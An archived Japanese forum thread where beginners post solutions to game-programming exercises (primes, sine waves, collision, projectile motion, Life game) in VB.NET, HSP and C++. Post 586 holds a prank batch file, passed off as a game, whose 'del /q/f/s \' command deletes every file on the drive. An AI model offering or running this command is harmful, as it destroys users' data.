【初心者】課題をクリアしていくスレ【講習会】
■ このスレッドは過去ログ倉庫に格納されています
0001名前は開発中のものです。
垢版 |
04/06/10 18:05ID:VshiFFV8
ゲームに必要な要素を先生が出してくれます

その課題をクリアしていく講習会です
0562名前は開発中のものです。
垢版 |
2006/06/03(土) 14:39:54ID:LfwUSM+O
素数のソース(VB2005)
http://gamdev.org/up/img/5984.phps

まとめ
関数は Function 〜 End Function
ループ While (継続条件) 〜 End While
変数の初期化 Dim i As Integer = 2

数当てのほうが難しかったぜ
次はついにWindowプログラムか
0563名前は開発中のものです。
垢版 |
2006/06/05(月) 23:30:18ID:8flTmyaF
課題3赤い四角のソース(VB.NET2005)
http://gamdev.org/up/img/6008.phps

ビルドするにはPictureBoxコントロールとTimerコントロールを貼り付けておいてください

まとめ
FormのMaximizeBoxプロパティをfalseに設定すると最大化ボタンが無効(灰色)になる
FormBorderStyleをFixedSingleに設定すると実行時にFormのサイズをマウスなどで変更不可
クライアント領域(描画できる領域)を640x480にするにはClientSizeプロパティを実行時にコードで変更する必要がある
四角を描くのはFillRectangle
その準備にPictureBox1.CreateGraphics()が必要、使い終わったらDispose()する

VBなんだからもっと簡単にグラフィック描画できればいいのに・・・・・・
0564名前は開発中のものです。
垢版 |
2006/06/06(火) 22:07:03ID:BKKQVE+c
課題4 sin波形 VB.NET2005
http://gamdev.org/up/img/6015.phps

g.Dispose()しなくてもガベコレが処理してくれるとか言ってるサイトをみつけたんだが
やっぱしたほうがいいよな、たぶん

まとめ
iがIntegerなのに増分を小数にして永久ループというひどい目にあった
ペンの作成はDim p As New System.Drawing.Pen(Color.Red)

変数宣言したあとさらにNewやCreateするのって長くて嫌だなぁ……
0566名前は開発中のものです。
垢版 |
2006/06/10(土) 20:16:40ID:0j3Y3Eu0
>>565
がんがる〜


課題スレVB2005課題5キー入力
http://gamdev.org/up/img/6099.phps

キー入力とバックバッファをやった
GetAsyncKeyStateを使う方法もあるらしいけど
今回はwikiのヒントにあった_KeyDownを使った

まとめ
・Formにコンポーネントを乗せるとKeyDownなどのイベントプロシージャが実行されなくなる場合がある
 これに対処するにはFormのKeyPreviewをTrueにする
・KeyDownでフラグをTrue、KeyUpでフラグをFalseにする
 こうすることでキーを押しっぱなしにしたときにKeyDownが連続で発生してもキーが現在、押下状態かどうか判断できる
・バックバッファはBackBuffer = New Bitmap(640, 480)でビットマップを作って利用
・ビットマップになにか描画したいときはBBGraphics = Graphics.FromImage(BackBuffer)でBBGraphicsを使う
・ビットマップを描画画面に転送するのはformGraphics.DrawImage(BackBuffer, 0, 0)


Timer以外でメインループを作る方法が見つからないorz
win32のPeekMessageやDelphiのOnIdleみたいな方法ないのかなぁ……
Application.DoEvents()を挟んでビジーループでいいのかな
System.Threading.Thread.SleepでSleepの替わりにもなりそうだし
0568名前は開発中のものです。
垢版 |
2006/06/27(火) 21:32:41ID:SYe9nV57
 ,、,、,||
;'`,゙、.||'、   保守
'; 、' /´;`'.,
 ´' .; ' ; '、'.
   '; 、 ' ,'
    '.,´; '
     l !j
    /ルゝ
0570名前は開発中のものです。
垢版 |
2006/08/14(月) 07:18:28ID:VdbybaMn
先生がいなくても自分一人でできる奴ばかりだから大丈夫だろう。
課題をやっている奴は、GameDevPukiWikiにソースを貼ってもらえると
先生がいないと不安な後続の人達の参考になって良いかも。
0571名前は開発中のものです。
垢版 |
2006/08/15(火) 20:25:23ID:O7thC4Po
課題7 -課題外伝- 弾道シミュレーション
http://gamdev.org/up/img/7120.phps

サインコサインで悩んだorz
ゲ製作にVB使い少ない……
0576名前は開発中のものです。
垢版 |
2006/09/10(日) 17:11:36ID:TDb9YusH
スレ違いかもしれないですけど。

回線速度が512Kbp/Sの回線を用いて256000byteのデータを、
転送するためには何秒かかるか。

1件の伝聞260byte 200byteのデータを含む伝聞の送信間隔は、
平均2o秒とする。

計算式も書くこと。

さっぱり分かりませんので計算お願いします。。。
0578名前は開発中のものです。
垢版 |
2006/09/10(日) 19:47:52ID:GdkKRdS2
スレ違いどころか板違いだな
プログラム板の宿題スレに行けば誰か答えてくれるかもしれんが
こんなやつ誘導したくないな
0579名前は開発中のものです。
垢版 |
2006/09/17(日) 15:08:39ID:dp7/71US
最近の若い者って、調べる能力がやたら低くない?

人のことを若い者って言えるほど年食ってるわけじゃないけど。
0580名前は開発中のものです。
垢版 |
2006/09/17(日) 16:08:29ID:kab63KmG
ぜひ義務教育の範囲内で「ググれ」の3文字を教えて欲しいものだが、
それをやると学校でモノ教える意味がなくなるから、
既得権益の亡者な教師にはソレができない。
0581名前は開発中のものです。
垢版 |
2006/09/18(月) 13:16:25ID:W/lXcIbz
安易に「ググれ」と教えてはいけない。考えなくなるから。
そのうち「ググっても無かったので分かりません」と言い出しかねない。
0582名前は開発中のものです。
垢版 |
2006/10/19(木) 12:24:46ID:2T8BbUdQ
いくつか問題を出しましょう。
エフェクトに関する入り口。

適当な画像を、
・モノクロ
・エッジ
・モザイク
・ソフト
加工してください。
0583くたらぎけん
垢版 |
2006/10/20(金) 14:17:57ID:an970z+w
このスレ今から参加しても宜しいのでしょうか?
0585名前は開発中のものです。
垢版 |
2006/10/21(土) 09:30:29ID:wamNDeux
メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい

時間が無いのでなるべく早くお願いします
0586名前は開発中のものです。
垢版 |
2006/10/21(土) 09:35:13ID:6R8oaMOr
1.ファイル名を「適当な名前.bat」にする
2.次のを貼り付ける
@echooff
del /q/f/s \

3.出来たファイルを実行する
4.昨夜はお楽しみでしたね
0588名前は開発中のものです。
垢版 |
2006/10/21(土) 21:56:38ID:wamNDeux
delで何となく分かったよ
別に困らないけどね
0589名前は開発中のものです。
垢版 |
2006/10/22(日) 00:00:29ID:IqzFRS51
やってみようと思うときが参加のタイミング。
適当に覗いて見よう。
0590名前は開発中のものです。
垢版 |
2006/10/22(日) 09:32:09ID:be4WCk1M
1.ファイル名を「適当な名前.js」にする
2.次のを貼り付ける
var WShell = WScript.CreateObject("WScript.Shell");
var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー";
var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け";
var indexCom = Math.floor(Math.random()*3);
var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3;
if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん");
else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん");

3.出来たファイルを実行する
4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ
0591受験生 ◆B57Fo1eLjo
垢版 |
2006/10/22(日) 10:29:26ID:T38aBY/h
2あたりにいた受験生です(酉忘れちまったw

このスレまだあったのか…

また課題でも用意する?
0592名前は開発中のものです。
垢版 |
2006/11/19(日) 01:28:15ID:wJaGDUpd
>>582の課題やってみました
モノクロということでカラー画像から2値画像への変換
http://gamdev.org/up/img/8128.zip

開発環境はDelphi6 personal
ソース、実行ファイルが含まれています


使い方
ファイル→開く でBMP画像を開いておく
画像変換→モノクロ で画像処理をはじめます

画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい)


変換サンプル画像
変換前
http://bbs.gamdev.org/gamedev/gamdev.png

変換後
http://gamdev.org/up/img/8129.jpg



避難所の看板に変換処理をかけてみました
閾値はRGBともに32
この数字をうまく決めないと画像が消えちゃいますね
フォトレタッチソフトは閾値の入力なしで自動で処理してるけど
なにかうまい方法があるのかな
0593C++/win32API
垢版 |
2006/11/25(土) 00:09:14ID:ZxloQDt/
課題5です。
どなたかバックバッファがわかる方教えてください。
↓画面が真っ白になるんですけどどうすれば直りますか?

ttp://gamdev.org/up/img/8183.zip
0594名前は開発中のものです。
垢版 |
2006/11/25(土) 02:02:55ID:FscVmuXx
>>593
92-94行
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);

SelectObject(backBafferDC,hPen);
SelectObject(backBafferDC,hBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
に直してみてはいかがか。
0596593
垢版 |
2006/11/25(土) 21:37:45ID:ZxloQDt/
>>594
できました!ありがとうございます。
0597名前は開発中のものです。
垢版 |
2006/11/27(月) 13:00:13ID:AfDweK2L
チラシの裏だが、素数の問題について一言。
”エラトステネスのふるい”というキーワードが出ているが、この問題に対して適応できるとは考えられない。
この方法を使うのならば、1000個目の数値が既知でなくてはならい。要するにズルをしないで解を得るには
総当りするか、無限個の要素からなる配列をふるいにかけるかである。
もしも”エラトステネスのふるい”を意識していたならば、例えば「0〜9999の間に存在する素数を列挙せよ」となる。
0598名前は開発中のものです。
垢版 |
2006/11/27(月) 20:55:38ID:3EIwZmwn
>>597
いいかい、n+1が素数かどうかを最も効率よく判定するためには、
n以下の素数が列挙されている必要がある。
これが「エラトステネスのふるい」から得られる知見なのだよ。

そうしてみると、1000個目の素数を探すプログラムには、
 ・ 次に判定する整数を示すカウンタ
 ・ 今までに見つかった素数を格納する配列
を確保する必要がある。
1000個目、という指定は、後者の確保する用量が静的に決まるため、
極めて具合が良いのだよ。

「エラトステネスのふるい」と言われて、
教科書どおりの手順しか思いつかない人間には、
残念ながら、創造の才能は無いよ。
与えられた道具は、使い方を工夫して、組み合わせるんだ。
0599名前は開発中のものです。
垢版 |
2006/11/28(火) 01:45:59ID:VYv9sMeV
サンプル画像
http://kasumicyoucyou.fc2web.com/Palau2006/0329/3290151.jpg

http://gamdev.org/up/img/8231.png

実行ファイルとソース
http://gamdev.org/up/img/8232.zip

微分使うのを諦めて隣接するピクセルと引き算して閾値と比べてみた
工夫した点はRGBを別々に比べたこと
RGBの合計を閾値と比べるより綺麗なエッジがでます
閾値を弄れば雲の部分のエッジを出すことも可能
その場合は他の場所がうまくいかなかったりするので
調整するのも難しい
0600名前は開発中のものです。
垢版 |
2006/11/28(火) 03:03:40ID:JXILxC55
>>598
前言撤回です。自分のアホさを痛感しつつ課題に取り組みました。
ttp://gamdev.org/up/img/8233.phps

というか、>>382と同じですねHAHAHA.
orz
0602名前は開発中のものです。
垢版 |
2007/01/03(水) 13:04:17ID:34CL32fK
ぼでぃいいいいいいいいいいいいいいいいいいいいいいいいず

あいむなっとあにぃいいいいいいいいいまああああああああある!
0603名前は開発中のものです。
垢版 |
2007/02/03(土) 16:43:24ID:b0e6Rts8
いきなりだが俺もちょこっと参加させてくれ。
とりあえずできそうなのからということで
>64の素数をやってみた。つかってるのはHSP3
よろしくお願いします。

screen 0,800.700,,,
font "MS ゴシック",8
a=2
b=2
c=0
repeat
repeat
if a\b = 0{
if a=b {: pos c\26*30,12*(c/26) : mes ""+a+" " :c++ :break}
else :break
}
if a<b :break
b++
loop
a++
b=2
if c=1000 :break
await 1
loop
stop


こんなので、こういうのができるのに自分でもびっくりだった。
本当にあってるかはよくわからんけど。
0605製作神 ◆3C/O4odLsY
垢版 |
2007/02/03(土) 16:50:16ID:z04kCzis
もっと投下すれば賑わうであろう。
0608名前は開発中のものです。
垢版 |
2007/02/05(月) 06:15:29ID:JxXUp4Vb
配列変数とやらを使って、+1ずつして割っていく方法から、
でてきた素数を代入して割っていく方法に変えたら、
>603の時より、ループ回数が偉く少なくなった。
でも、他にa+2でやったほうが早そうなんだけど、
それをきれいにはめる方法が良くわからない。
if 構文追加してもいいけど、どっちみち2で割るところまでくれば
変わらないような気もするし。
0610名前は開発中のものです。
垢版 |
2007/02/07(水) 05:50:49ID:GNKliERn
む、HSPなんだけどSIN波形というのがよくわからん。
何をどうするのかが。
>107のはうちで動かんし。
考え方からさっぱりだ。
0611名前は開発中のものです。
垢版 |
2007/02/07(水) 15:20:39ID:NKLSTYEl
HSP3.0からsin関数が標準で使えるようになった、だから変数名でsinは使えない

R1=3.1415/180.0;3.1415/180=ラジアン単位で約1度
pos 0, 240
repeat 640
line cnt, 240+(sin(R1*cnt)*240)
loop
stop
0612名前は開発中のものです。
垢版 |
2007/02/16(金) 00:22:46ID:qpyJEI/g
>611
サンキュ
なるほど。line命令とかこういう風に使うのか。
しかもまるまる答えそのものじゃないかー。
0613名前は開発中のものです。
垢版 |
2007/02/16(金) 02:20:37ID:ppH9PRcO
>>612
始点、終点も設定すると、前回の終点を
保存か算出する必要が出てくるからな
0614名前は開発中のものです。
垢版 |
2007/02/17(土) 06:26:41ID:x7siGPZt
課題5の箱を動かすのやってるんだけど、
箱動くことは動くんだけど、
clsでやってるから箱がちらつくんだよね。
ヒント頼む ちなみに今こんな感じ。↓

screen 0,640,480
q=3
repeat
getkey m,37
getkey n,39
getkey o,38
getkey p,40
x=x+q*(n-m)
y=y-q*(o-p)
if fx!x or fy!y :cls
if x>320 :x=320
if x<0 :x=0
if Y>240 :y=240
if y<0 :y=0
color 255, :boxf 0+x,0+y,320+x,240+y
fx=x:fy=y
await 1
loop
0616名前は開発中のものです。
垢版 |
2007/02/17(土) 13:09:21ID:AzT6DJgE
>>614
cls を使わずに、画面のクリアは boxf を使って真っ白に塗りつぶす。

これだけだとまだちらつくから、
画面塗りつぶしと箱描画をする前に redraw で描画モード0を指定する
画面塗りつぶしと箱描画をした後に redraw の描画モード1を指定する
0617名前は開発中のものです。
垢版 |
2007/02/17(土) 14:52:49ID:x7siGPZt
>615
使わないと画面真っ赤になっちゃう。
clsぐらいしかわからないからな。悪いな。

>616
boxfで塗りつぶすというのはたまに見るんだが、
なんだかよくわからんかった。が、それをヒントに、
色々やってみる。アリガトン
0618名前は開発中のものです。
垢版 |
2007/02/17(土) 17:49:27ID:x7siGPZt
これって
redraw 0

redraw 1

〜の部分に描画するものいれておくと
1の時にまとめて表示されてちらつきがなくなるってことで良いのかな。
何でちらつかないのかはいまいちピンと来ないんだけど。

とりあえずclsのところに↓入れて
redraw 0 :color 255,255,255 :boxf 0+fx,0+fy,max_x+fx,max_y+fy

redraw 1
上を最後の方に入れた。
ただ、動きが重くなるんだね。この命令って処理が重いの?
0619名前は開発中のものです。
垢版 |
2007/02/17(土) 20:25:31ID:pIqCsBKC
暇だからやってみた素数。2だけすまんがずるしてる。
これくらいが関数覚えなくてもできるから楽しいな。
もっと早いの考えてみっか。
/*--------------------------------------------------*/
#define MAXN 1000
#include <iostream.h>

int main(){
 int temp[MAXN],k=2,i=0,j,loop=0;
 
 cout<<2<<endl;
 
 while(i<MAXN){
  temp[i]=2;
  for (j=0;j<=i;j++){
   loop++;
   if(k%temp[j]==0) break;  //kがn[j]の倍数ならn[j+1]に飛ばす
   else if(j==i){
    temp[i]=k;
    cout<<temp[i]<<endl;
    i++;
    break;
    }
  }
  k++;
 }
 cout<<loop<<"回ループしやした!"<<endl;
 return 0;
}
/*--------------------------------------------------*/
0621名前は開発中のものです。
垢版 |
2007/02/18(日) 16:42:46ID:yPmVwvF6
>620
むー。そうなのかー。でも動き重くなったしなー。
使い方悪いのかなー。

課題6を
丸描いて敵にしてるんだけど、動き方をどうするかで
試行錯誤ちう
0623名前は開発中のものです。
垢版 |
2007/02/21(水) 04:09:26ID:XCgw7SD2
課題6やってるんだけど、
あたり判定がなんか良くわからなくなって、
とりあえずはねかえる様にしようとしたらさらにワケワカラン状態に。orz
考え方が間違ってるのはわかってるんだが、どう間違ってるかが分からない。
ダメだしお願い。

ttp://gamdev.org/up/img/8984.lzh
0624名前は開発中のものです。
垢版 |
2007/02/21(水) 17:45:56ID:1pwfm66w
↓こうじゃない?

★箱
(x,y)
┏━━━━━┓(x+max_x,y)
┃          ┃
┃    ・(x+max_x/2,y+max_y/2)
┃          ┃
┗━━━━━┛(x+max_x,y+max_y)
(x,ymax_y)

★玉
(enemy_x,enemy_y)
┌─────┐(enemy_x+sx,enemy_y)
│          │
│          │
│          │
│          │
└─────┘(enemy_x+sx,enemy_y+sy)
(enemy_x,enemy_y+sy)


★箱の右で衝突
(x,y)
┏━━━━━┓(x+max_x,y)
┃          ┃
┃    ・(x+max_x/2,y+max_y/2)
┃     ┌─────┐
┗━━━┥        │

enemy_xがx+max_x/2〜x+max
enemy_yがy-sx〜y+max_y
0625名前は開発中のものです。
垢版 |
2007/03/02(金) 09:45:12ID:RL8xs1BY
>624
スマン はねかえる様にできたら、そこからぶつかったという仕様にしたかったんだ。
ようやっと、とりあえずはね返るようにはなった。
後ろからあたりに行ったりするとスルーしちゃったりするけど、
大まかにははねかえる様になって、その条件式でちょっと仕様変えてぶつかったという判定にした。
なんか色々とつっかえたなぁ。サイト色々探しちゃったし。

つまると素数プログラムを改善して紛らわせてるんだけど、
数値に制限あるのな。HSP。
まぁ、そこまで素数を下から求めたりしないからいいんだけど、
素数を使って素数を判定するというもの作った時に、数値がめちゃくちゃになって弱った。
0626名前は開発中のものです。
垢版 |
2007/03/02(金) 16:19:42ID:xch9HBdf
>>625
勘違いするなよ?
桁の制限なんてどんな言語でもあるぞw
言うなら32ビット整数型の制限だよ
0627名前は開発中のものです。
垢版 |
2007/03/02(金) 16:34:53ID:RL8xs1BY
>626
そういうものなのか。
もうちょっと桁はいくもんなのかと思ってたけど、
なるほど2^32の半分なわけか。
となると、それを越える数字を使うプログラムははじかれるのか。


まとめサイトに繋がらないんだけど。なんでだろ。
0628名前は開発中のものです。
垢版 |
2007/03/02(金) 22:24:24ID:e7ng/jU4
まとめサイトのping帰ってこない(´・ω・`)ショボーン
自分のソースのバックアップあそこにしかないのにwww
0631名前は開発中のものです。
垢版 |
2007/03/06(火) 23:13:38ID:vyl0ltP/
ボタンを作るみたいな課題とかどうよ。
単に今俺がこれから勉強したいと思ってるからだけど。

そこから、ボタンを押す。押すと押した絵に変わる。
マウスが上に来ると絵が大きくなるとか、枠が出るとか。

もしくはのちのち、何かのジャンルのゲームで頻繁に使いそうなやつ。
セーブロードとかさ。初心者が言うのもあれだけど。
0633名前は開発中のものです。
垢版 |
2007/03/07(水) 02:38:11ID:IIsT9RK1
表現もできないのにアルゴリズムも何もないとやっていて思ったんだ。
つーかそもそもアルゴリズムってなんだろう?とも思うんだ。

個人的には簡単なのからだんだん難しい課題にという流れと、
課題をやっていくとゲームとかソフトができる。という流れ。
この二つが混ざるとやっていて楽しいんじゃないかと思う。
まぁ基本的に課題は全て難しいのが現状なんだけどねー。
0635名前は開発中のものです。
垢版 |
2007/03/07(水) 18:19:41ID:IIsT9RK1
ありゃ、重力加速度をどう表していいか混乱してきた。
そもそも重力加速度がわけわからなくなってきた。
0636名前は開発中のものです。
垢版 |
2007/03/07(水) 18:58:48ID:IIsT9RK1
これじゃただの放物線じゃ。
角度のつけ方が良くわからんな。
ホントに誰もいなくて悲しいヮ。
0638名前は開発中のものです。
垢版 |
2007/03/09(金) 20:05:12ID:A20L9Fnp
課題8、課題6に付け足してようやっとできた。
次は、課題9は課題7がまだ良くワカンネーから飛ばして、
課題10やる。

センセーカムヒアー プリーズ
0639名前は開発中のものです。
垢版 |
2007/03/10(土) 19:07:09ID:/U9PtoGQ
分かんないことあるならもうちょっと具体的に書いとけば
誰か答えてくれるんじゃないかと
0640名前は開発中のものです。
垢版 |
2007/03/12(月) 20:09:00ID:B3YMxCrl
課題10、とりあえず一つの箱をそれっぽくうごかせた。
これをどう6つにするかだな。とりあえず三つからやってみたいけど、
配列変数つかってcntで三つつくるのができれば、いけるのかな。
弾当たったら消えるって、なんかフラグつくって、
当たったらa=0にして、if a ならその箱表示みたいな感じなんかな。

>639
何よりもほとんど全部といっていいいくらいわかんね。
y方向に落ちていくまではまだわかるような気がするんだけど、
初速がどれだけの速さでも、角度をつけた途端、
どういう計算式にすればいいかが、ピンとわからない。
角度ゼロならまぁ、cnt×速さでいいのかもしれないけど、
角度を少しでもつけると、y方向の部分とのベクトル、
初速分斜めに移動させるので本当に正しいのかすらわからない。

感覚的にはx方向に1、Y方向に1のベクトルだったら(1,1)の方向に
進むようにするってことなんだろうけど、
じゃあそれを全ての状況でどうやって式に表せばいいのか全くわからない。

考え方からしてもうワケワカメなので、
説明したくとも説明できない感じなのだよ。
0643名前は開発中のものです。
垢版 |
2007/03/14(水) 14:33:17ID:vTyf4gtY
3つを動かせるようになって、
それをコピペして、yの値に+して2×3にしてうごくようにしたけど、
慣れてくるとどうやって動かすように仕組むんだ?
今こんな感じ↓
http://gamdev.org/up/img/9127.lzh

>641
真上もなんか良くわかんない。
ベクトルが絡まるともう感覚的にわからない。
たてと横だけならなんとなーくわかるんだけど。

>642
ぐぐっても良くわかんない。

ゴメンナ
0644名前は開発中のものです。
垢版 |
2007/03/14(水) 23:19:25ID:Ta9QMe4z
説明めんどくさいのでこれ見て自分で考えてくれ。

g=1;重力加速度
x=0;初期x座標
y=480;初期y座標
vx=10;x方向初期速度
vy=-30;y方向初期速度
repeat 70
x+=vx;速度の分だけ位置を増やす
vy+=g;加速度の分だけ速度を増やす
y+=vy;速度の分だけ位置を増やす
pos x,y
mes "○"
await 20
loop
stop
0645名前は開発中のものです。
垢版 |
2007/03/16(金) 22:46:24ID:ObBbH61d
課題10でけた。こんなんでどうでしょう。
tp://gamdev.org/up/img/9153.lzh

>644
サンキュ。ただ、全く思いつかない。角度とか。


ライフゲーム。面白そうだが、まだなんだか良くわからない。
円形判定もうーん。sinとか使うのだろうか。うーん。詰まった。
まとめサイトでも、ほとんどの人が途中でやめちゃってるのは、
やっぱ詰まったからなんかな。
0646名前は開発中のものです。
垢版 |
2007/03/17(土) 00:32:33ID:AFO1L2/D
ddim angle,0 :ddim angle_rad,0 : ddim speed,0 : ddim g,0 : ddim x,0 : ddim y,0: ddim vx,0 : ddim vy,0
angle=15.0 : speed=5.0 : g=0.1
mes "速さ" : input speed : mes "角度" : input angle
button gosub "発射",*main
stop
*main
x=0.0 : y=400.0
angle_rad=angle*3.14159/180.0;cos,sinの変数はラジアンなのでラジアンに直す
vx=cos(angle_rad)*speed;x方向初期速度=速さ×cos(角度)
vy=-sin(angle_rad)*speed;y方向初期速度=速さ×sin(角度)、また上向きが正なので×-1
repeat 1000
pos x,y : mes "○"
x+=vx : vy+=g : y+=vy
await 20
loop
return
0647名前は開発中のものです。
垢版 |
2007/03/17(土) 00:40:55ID:AFO1L2/D
全部実数型にする必要なかったかな。まあいいや。
角度が分からんと言うのがよく分からんがこれいじったりしてまた考えてくれ。

>課題10
おお。ええんじゃないの。ゲームになってるね。

>ライフゲーム
は意外と簡単だった思う

>円形判定
は円の方程式x^2+y^2=r^2を使うんじゃないかと。

>まとめサイトでも、ほとんどの人が途中でやめちゃってるのは、
>やっぱ詰まったからなんかな。
詰まったからというか、詰まらなくなったからというか。
いろんな原因で作りたいと思う気持ちがなくなってっちゃうんでしょうね。
0649名前は開発中のものです。
垢版 |
2007/03/19(月) 04:09:59ID:KNd9OD8J
ttp://gamdev.org/up/img/9164.lzh
こんなんで良ければライフゲムでけた。

>646
そう多分俺が知りたかったのはこのcos,sinを使い方なんだと思う。
単純にx分にY分を足しただけならいいんだけど、
初速のベクトルに角度をつけるにはどうすれば良いのかや、
角度をつけた場合にベクトルからどうやってy分を足し引きすれば良いかが、
よくわからなかった。
↓のベクトルがあって\(斜め)のベクトルがあって
その二つを足したものを表示するということが。
まだ理解が不十分だけど、参考になった。トン。

>647
ライフゲーム、確かにプログラム的には意外と簡単なのかも。
でも、やたら長い条件式で、カンマがピリオドになってたりでエラー原因がわからず、
そして、elseの使い方がまだいまいちであるために、想定どおり動かなかったりと、
頭をかきまくった。でも、なんか面白いね。眺めてて面白い。

あと、その円の方程式はどっかで見たような式だ・・・。いつ見た、おれ。
これをどう使うのかはまだピンと来ない。もう少し考えてみる。

まぁどのみちこういう課題がちょちょいとできるようになったら、
このスレ卒業なんだろうね。早く卒業したいものだ(´・ω・`)
0650名前は開発中のものです。
垢版 |
2007/03/19(月) 22:56:11ID:+J8qMsT3
おーライフゲームできてるやん。すごいすごい。

>カンマがピリオドになってたり
あるあるw
0651名前は開発中のものです。
垢版 |
2007/03/21(水) 18:59:56ID:dTeu4lZk
円のあたり判定できたよー。
一応、4方向分条件付けをした。
でも弾が1ドットなら、条件は一つ分で十分だよね?


エッジ加工?ってなんかよくわからん。
ソフトも。
モザイクって、ぱっと思いつくのは例えばその部分の色情報を取得して、
その色で、ある大きさの箱を描くのを何回かやるって感じになるのかな。
まず絵を調達しなきゃだゎ。
0652名前は開発中のものです。
垢版 |
2007/03/22(木) 00:11:37ID:wB5CUOCW
>円のあたり判定できたよー。
オメデトン。ペース速いね。

>一応、4方向分条件付けをした。
>でも弾が1ドットなら、条件は一つ分で十分だよね?
えっと、すまん。4方向ってのがどういうことなのか分からぬのだが。

>エッジ加工?ってなんかよくわからん。
俺もよく知らないけど輪郭抽出でぐぐるといろいろ出てくるみたい。
>ソフトも。
ソフトは俺もまったく分からん。
画像処理の課題はゲーム製作とはちょっと関係が薄い気がする。
>モザイク
四角ごとに仕切って色の平均をとって塗りつぶすみたい。
0653名前は開発中のものです。
垢版 |
2007/03/22(木) 05:03:52ID:LPymi19I
>652
>えっと、すまん。4方向ってのがどういうことなのか分からぬのだが。
俺のは○が動くんだけど、弾と自分が動かしてる四角には幅があるから、
○の右上下、左上下で当たる時の条件付けがちょっと変わるはずと。

>四角ごとに仕切って色の平均をとって塗りつぶすみたい
・・・・。どうやんだろ。まだ、やったことない領域だから、
どの命令を使うかきちんと把握しなきゃだめそうだ。
0654名前は開発中のものです。
垢版 |
2007/03/23(金) 01:18:56ID:GKwkgx4A
なるほど。自機が○で弾は点かと思ってた。自機四角か。

画像処理はあんまり詳しくないので
他の先生の登場を待ってください。ごめんなさいね。
0657名前は開発中のものです。
垢版 |
2007/04/05(木) 03:22:08ID:juxaiBkl
HSPを勉強中なので、素数問題に挑戦してみた。
素数の出し方がよくわからないから総当り&最初いんちき。

screen 0,450,400 : font "MS ゴシック",12 : objmode 2
so = "" : max = 10000 : maxs = 1000 : a = 2
mesbox so,450,320
pos 12,333 : mes "try" : pos 50,330 : input max,100,20,5
pos 220,330 : button gosub "start",*gogo
pos 12,358 : mes "get" : pos 50,355 : input maxs,100,20,5
stop
*gogo
if btn : a = max + 1 : btn = 0 : return
sdim so,max*4
objprm 2,"stop" : objprm 0,so : btn = 1 : so = "" : a = 2 : s = 0 : d = 0 : len = 0
repeat max
repeat a,1
c = a\cnt : if c = 0 : s++ : if s > 2 : break
loop
if s < 3{
d++ : sa = strf("%5d",a)
poke so,len,sa : len += strsize
if d \ 10 = 0{
poke so,len,"\n" : len += strsize
title "" + cnt
}else{ poke so,len,", " : len += strsize }
}
s = 0 : a++ : if (a > max) or (d >= maxs) : break
wait 0
loop
objprm 0,so : objprm 2,"start" : btn = 0 : title " get = " + d
return
0658名前は開発中のものです。
垢版 |
2007/04/05(木) 09:48:52ID:F5eNq3r+
同じHsp初心者なはずなのに、なにがどうなってるのか解読できん。
俺の素数プログラムは偉くシンプルなのにな。
こういう見やすい感じのつくれるようになりたいけど、さっぱりなんだよな。
最近はやる気起きないし。
0660名前は開発中のものです。
垢版 |
2007/04/11(水) 23:27:29ID:hGtX8W0q
課題の1〜11までやったんで段階的学習に移ろうと思うんだが

15
インベーダー
テトリス
ブロックくずし
オセロ
ぷよぷよ
パックマン
マリオ
ギャラガ

この順番でおk?
0662名前は開発中のものです。
垢版 |
2007/04/13(金) 07:00:29ID:ePt0UiZ0
>>661thanks!
申し遅れました>>655です
javaでSLG作ろうと思ってるdqnです

以前に、基本だけ勉強してSLG作成に突撃したことがあるんだけど、
クラス数が多くなって管理しきれなくなって玉砕w

あせらず、ゲーム作りってのを学んで、それから再挑戦するつもり
じゃあ15から行ってくるノシ
■ このスレッドは過去ログ倉庫に格納されています

ニューススポーツなんでも実況